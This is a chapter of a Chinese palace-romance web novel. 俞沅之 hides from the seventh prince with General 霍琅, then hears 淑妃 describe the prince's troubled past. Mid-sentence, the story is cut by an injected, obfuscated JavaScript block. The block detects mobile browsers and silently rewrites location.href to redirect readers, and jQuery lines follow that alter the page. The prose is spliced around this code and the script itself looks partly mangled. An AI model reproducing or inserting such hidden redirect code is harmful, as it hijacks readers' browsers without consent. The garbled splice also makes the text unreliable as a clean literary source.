寒星里 作品

21. 璇花篇·二十一(修)

轻风拂窗,树叶簌吟,俞沅之不可置信地抬头,两人目光交汇,相顾无言。


她还记得山谷初遇,微暗光影下,霍琅一双寒潭墨眸,凉意凛冽彻骨,可是如今却……


“七皇子年少,春心萌动,你费尽心机,只会让他误解为男女之情。”


扑通一声,燃起的小火苗瞬间被水浇灭,她松了口气,就说此人不会对自己有何意。


“霍……将军。”俞沅之轻声唤道。


“何事?”


她不着痕迹扭了下肩膀,双手背在身后,掌心紧贴窗沿,被凸起的边角硌到麻疼。


“您……能不能,抬起胳膊。”她长睫眨了眨。


霍琅认定她有阴谋,将其圈在极狭窄范围内,她要避免与其身体相碰,禁锢得着实难受。


男子闻声欲抬臂,短暂一瞬却又落回原处。


“你还未回答。”他道。


“回答什么?”


“为何不找我,我哪里不行?”


俞沅之闭目默念,自然哪里都不行,明知自己握有霍琅把柄,还去寻他的麻烦,不想活了?


然而这话无法明说。


“你见七皇子眉开眼笑,见我却像撞了瘟神,如此差别对待……”霍琅蹙眉顿了顿,“成何体统。”


“我……”


她睁开眼睛,侧过脸看向右前方书册,拉长尾音,斟酌要如何开口。


“殿下,皇子殿下您别乱跑,俞姑娘不在这儿啊……”


“你个蠢蛋,七皇子听不到!”


混杂的脚步声从窗外传来,俞沅之几乎是下意识反应,挺直腰一把推上霍琅胸口,令他平翻半圈,背部靠抵墙壁,两人完全调换了个方向。


男子刚要开口,她立刻捂住他的唇……


若被小太监们瞧见她与霍琅在窗边,姿势竟如此亲密,怕是流言蜚语不断,假的也会传成真的,她可不愿再与之有何牵扯!


果然,七皇子看到杨梅布袋驻足,探头向内,俞沅之紧张地将脸转过,但未留意,两人愈发贴近,尤其是小腿以上。


“殿下这是怎么了?”


“谁晓得,好好喝着茶偏要出来乱跑。”


“你可瞧见霍将军和俞姑娘了?”


“没得。”


几名随行太监窃窃私语。


少年低头,伸手进窗碰了碰布袋,手指沾染些许杨梅汁,眼眸慢慢黯淡无光,片刻后握拳离开,太监见状立刻跟从,直至步伐声渐行渐远,俞沅之悬着的心终才坠下。


然而下刻,意识到自己都做了些什么,她瞬间心虚,忙松手后撤一步,书架小幅晃动。


不仅推了霍琅,还捂住他的嘴!


俞沅之手心微汗,脑门发烫,不安地抿了下唇,她不愿与男子对视,甚至相信若眼神能杀人,自己怕会马上归西。


霍琅直勾勾盯着她,眼底烈焰翻涌,侵略性十足,就在方才,他察觉到某些细微变化。


良久,寂然无声。


俞沅之咽了口口水,小心翼翼地抬头,畏惧感却在看到男子霎那破冲而散,强忍了忍,还是没忍住,噗嗤笑出声。


她的手指因沾到不少杨梅汁,竟在霍琅唇畔“画”圈紫色。


霍琅不解,瞥了眼清水碗,双目顿时由火转冰,什么旖旎心思都没了。


“俞沅之。”男子手臂撑着桌沿,盯住水中倒影一动不动,右拳紧握,低声唤她的大名儿。


她当即摇头,拨浪鼓般,抱起一盆杨梅转身就跑!


木门的咯吱声传入耳中,俞沅之小跑穿过连廊,轻靠尽头立柱吐了口气,还是想笑,那模样可比素日的霍将军“可爱”许多。


而且……经此一日,她好像也没那么害怕霍琅了。


至于玉佩,打从最初,她就不愿告知任何人。


梅子饮在一个时辰后出现在七皇子面前,俞沅之又将剩余杨梅清洗干净,分给众人品尝。


少年略有失落,还是将杯中物一饮而尽。


“将军……”侍卫阿威欲言又止,眉毛逐渐皱起。


霍琅不悦:“不该问的别问。”


即便用清水擦拭好几轮,唇边尚有淡淡紫色印痕。


俞沅之瞄了一眼,抿唇将一颗杨梅递给霍琅:“将军尝尝看,很甜。”


管家老眼昏花,歪头看向自家主子,忙向她摆手:“不能吃太多啊。”


屋内已有仆从低头憋笑,霍琅撩起眼皮,眸光黑沉,无人再话。


回宫途中,七皇子怅然若失,倚靠车壁旁默不作声,俞沅之不明,也不好过多探究。


抵达皇城后,霍琅未再入宫,当女子从身边走过时,他低声提醒道:“太后对七皇子看得紧,之中有你不了解的缘故,保持距离,不要答允任何与随侍无关的安排。”


她抬眸看向男子,半晌轻点了下头。


两人背影渐行渐远,直至消失,霍琅转身返回府邸。


正殿书房内空无一人,一盏冰凉凉的梅子饮安静伫立于书案之上。


管家说,是俞姑娘私下寻他,问将军常在府内何地休息,特意放在此处的。


-


永寿殿外。


七皇子被王公公带到前堂陪伴太后用膳,俞沅之正打算回院休息,刚巧撞上迎面而来的淑妃娘娘。


“娘娘万安。”


“不必多礼,听闻今日俞姑娘陪七殿下出宫了?”


“是,殿下大病初愈想到城中走走,故而民女求了太后娘娘恩旨,殿下一切都好,在前堂用膳呢,娘娘可要去探望?”


淑妃垂眸浅笑,摇了摇头:“俞姑娘想必还未用晚膳吧,不妨到本宫寝殿一道用,本宫也想找人聊聊天。”


俞沅之犹豫半晌,颔首应下。


虽说七皇子是由淑妃养大的,但太后似乎有意隔断这对“母子”,每月相见,不过匆匆几面。


她跟在淑妃身后,顺西而行,入宫这段时日,除了书房、箭场、永寿殿,几乎没有空闲到其他地方闲逛,越走越觉得景色似曾相识,直至“含章殿”三字牌匾出现在眼前……


“本宫这里虽说远了些,却是难得的清净。”淑妃微笑道。


俞沅之迅速移开视线,鼻尖泛酸,双目有些模糊不清。


含章殿现今是淑妃娘娘居所,她竟不晓得。


新帝继位后,太妃均迁往皇城西南角安康苑,所以宫殿原主人是谁,她未曾留意。


跨过门槛,两侧被木栏围绕的四方花圃映入眼帘,院左种满木芙蓉,院右种满晚山茶,抬头正对一处青石空地,宽敞空旷,再向前走,一棵古槐树停僮葱翠,有绿叶惬意垂到回廊飞檐旁,俞沅之右脚踩在石阶上,下意识回眸……


原来,含章殿曾几何时,也如画般华美精致。没有厚雪,没有枯枝,也没有用梅花瓣歪歪扭扭摆好的名字。


久别重逢,恍如隔世。


她心不在焉与淑妃共进晚膳,菜肴丰富但滋味过淡,就连饭后茗茶也是偏清雅的白茶。


“是不是很无趣?”淑妃倚在塌上闲扯家常,姿态平易近人,无半分傲气架子。


“沅之不明白娘娘的意思。”


淑妃手肘撑在矮桌边沿,指尖揉了揉太阳穴:“本宫这里少有人踏足,陈设摆件,膳食习惯,数十年如一日,就连自己都觉乏味。”


俞沅之抿唇不语,难不成住在含章殿的后妃,都被什么东西诅咒了。


“你们今儿都去了何处?”淑妃颇为关切。


“回娘娘的话,霍将军带七殿下游湖泛舟,之后又在将军府小坐片刻。”


“游湖泛舟……”淑妃喃喃重复,好奇道,“小七肯乖乖乘舟?”


她点头,并称七殿下很欢喜。


淑妃松了口气:“没折腾出乱子就好。”


俞沅之思量半晌,疑惑道:“娘娘,其实殿下脾性温和。”


淑妃神色一顿,继而轻笑:“那是你没见


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189934|165555||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


过从前的小七,他死里逃生后,才变得懂事规矩,奈何宫中人都被吓坏了,所谓一朝被蛇咬,十年怕井绳。”


七皇子确曾提起,除丞相夫人与淑妃娘娘,无人愿意理会他。


“娘娘,殿下从前……脾气很不好吗?”


淑妃犹豫,颔首道:“何止,这孩子打小儿不会说话,体弱多病,太后与皇上都怜悯他自幼丧母,大抵太过骄纵,难免胡闹顽劣。十岁那年,他饲养数条蟒蛇,由得它们四处乱窜,还将蜈蚣放进朝臣的茶杯里。十二岁,半夜跑到御花园洒纸钱,装鬼吓唬皇上皇后。去年初将太后封的掌事官头悬梁,锥刺股,被御史多番参奏。他自己在深秋时爬树跳湖,被救上来卧榻小半年,这才彻底转了性子。”


俞沅之不由得脊背发凉,她浑然不知七皇子过往,否则断断不会打他的主意,这与霍琅的威胁性简直不相上下。


难怪……只不过为少年做了枚风铃,就能轻而易举让他记住自己。


“小七如今与从前不同,变得乖巧懂事,可惜利箭扎在靶上,即便取下也抹不清痕迹,大多数人都不愿以身涉险,总会误解笑容背后藏着什么诡计,自然能避则避。所以,本宫很感激你,总不至让他知错悔改后,连个能谈心的同龄人都没有。”


俞沅之咽了口唾沫,磕磕巴巴道:“娘娘……言重了。”


淑妃靠近握住她的手,诚恳道:“本宫愿为他担保,小七断断不会伤害你,还望俞姑娘不辞辛劳,无论听人说什么都不要在意,代本宫照顾好他,这孩子成长不易。”


她小声应是。


侍女此刻端上果碟,是用蜜泡的杏干,颗颗晶莹剔透,品相诱人。


淑妃抚过俞沅之的肩膀,再度扬起笑意,示意品尝:“据传此物是丰郡特产,三弟命人送进宫来,说是极其难吃,但本宫品过却很喜欢。”


送人吃食还要加上反面“点评”,唯有霍琅能做得出,好在淑妃是他亲姐姐,不会计较过多。


俞沅之捏起一枚放进口中。


诚如男子所言,杏味全无,甚是甜牙,但喜好因人而异,有人赏有人厌实属平常。


“霍将军大概对甜无感,所以才这样说。”她勉强咽下,喉咙发涩。


“三弟性子冷淡,又不爱交际,喜恶确让人琢磨不透。”谈及霍琅,淑妃无奈摇头,“也是个倔脾气,三弟进府那年,本宫已为妃子,有次听父亲提起,说他不唤嫡母为母,父亲一时气急,下令施家法打了二十鞭子,后背皮开肉绽,硬是没听到这孩子求饶或哭喊一声……”


细烟在紫铜莲花香炉顶纠缠萦绕,薄渺似雾,半散在空中。


淑妃娓娓道来,俞沅之低眸不语。


前世,她纵使遍体鳞伤,也始终未唤罗女君为母。


-


每月初一,王公公秉烛待旦,太后会在寅时三刻起身,至抚昔殿为女儿上柱清香,之后端坐正殿,迎阖宫请安。


俞沅之为客,排在最末,当皇后与众后妃皇嗣均离开后,从容入内,恭敬问安。


离殿后,风华送她走出回廊,两人适时寒暄几句,远处突然传来王公公的声音:


“奴才参见六皇子。”


她脚步一滞,耳坠忽地晃打在脸颊上。


宫人规矩行礼,男子一袭紫白锦袍款款而行,身姿颀长,远望如松。暖阳映在脸上,纵使面色苍白憔悴,却遮不住美如冠玉之容,气度温敛清贵。


徐鄞有双极其摄人心魄的眼睛,仿若桃花,深情无二。


在未陷入生母巫蛊风波前,有不少官吏女眷对其芳心暗许,再加上他素来温柔的脾性,可谓襄京天之骄子之最。


风华察觉不妥,转头见俞沅之驻足不前,遂靠近问道:“姑娘为何不走了?”


长廊尽头,一道淡然目光扫了过来。


是他……


男子走近,风华回身请安。


徐鄞颔首,视线却缓缓移到风华右后方的女子身上……